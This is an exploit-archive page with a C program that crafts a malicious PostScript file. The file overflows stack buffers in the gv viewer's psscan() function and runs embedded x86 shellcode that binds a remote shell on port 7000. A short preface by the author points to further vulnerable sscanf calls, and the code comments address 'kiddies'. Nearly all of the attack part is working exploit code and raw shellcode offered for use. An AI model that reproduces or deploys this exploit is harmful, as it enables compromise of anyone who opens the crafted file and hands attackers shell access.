exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gv-exploitv2.c

gv-exploitv2.c
Posted Aug 17, 2004
Authored by infamous42md

Local buffer overflow exploit that makes use of five vulnerabilities in the gv postscript viewer. Spawns a shell on port 7000.

tags | exploit, overflow, shell, local, vulnerability
SHA-256 | 44962067ebaac38a04a075b79a4c05cd40a1b6072e4b584506cb80e800edfd4f

gv-exploitv2.c

Change Mirror Download

well you know i can't see why people would have to invent fake advisories and
vulnerabilities when there are just SO many real ones in the code. in addition
to the GLSA posted the other day, there are at least 4 other stack buffer
overflows, and 2 heap overflows. the first exploit i wrote exploited the one in
the GLSA, and this one exploits that hole and four other ones as well.
all of these are in the psscan() function located in the ps.c file:
'grep -nP 'sscanf\(.*?%%.*?%s' ps.c'
should do it for you.

/*
* gv postscript viewer exploit part deux, infamous42md AT hotpop DOT com
*
* ok kiddies you've got choices here! we can overflow the text buffer at 5
* different places, we can also overflow the heap at 2 places, and ooh i
* bet if you look around there are tons of other places as well!
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- ASDF"
#define BOUND_BOX "%%BoundingBox:"
#define ORIENTATION "%%Orientation:"
#define PAGE_ORDER "%%PageOrder:"
#define PAGES "%%Pages:"
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"

/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x3b\x2c\x30\xcd\x80";



int main(int argc, char **argv)
{
int len, x, fd;
char buf[BS];
u_char methodman = 0x0;
u_long retaddr;

if(argc < 3){
fprintf(stderr, "Usage: %s < retaddr > < ownage method c b o p r>\n",
argv[0]); return EXIT_FAILURE;
}
sscanf(argv[1], "%lx", &retaddr);
methodman = argv[2][0];

/* create 3vil buf */
memset(buf, NOP, BS);
if(methodman == 'b')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, BOUND_BOX);
else if(methodman == 'c')
len = snprintf(buf, BS-1, "%s", PS_COMMENT);
else if(methodman == 'o')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, ORIENTATION);
else if(methodman == 'p')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGES);
else if(methodman == 'r')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGE_ORDER);
else{
printf(
"Cmon man pick a funkin method!!\n"
"oh i see, 5 is not enough to choose from??\n"
"don't worry, there are more, just read the source to find them\n"
"ok fine, you don't want to overflow the stack, understandable.\n"
"there are also some heap overflows you picky bastard\n"
"grep -n sscanf\n");
return EXIT_FAILURE;
}

for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
memcpy(buf+x+len, &retaddr, sizeof(retaddr));
len += x + NNOPS;
strcpy(buf+len, remote);
strcat(buf+len, "\n");
len += strlen(remote) + 2;

/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
die("open");

if(write(fd, buf, len) < 0)
die("write");

close(fd);

return 0;
}


--
-sean
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close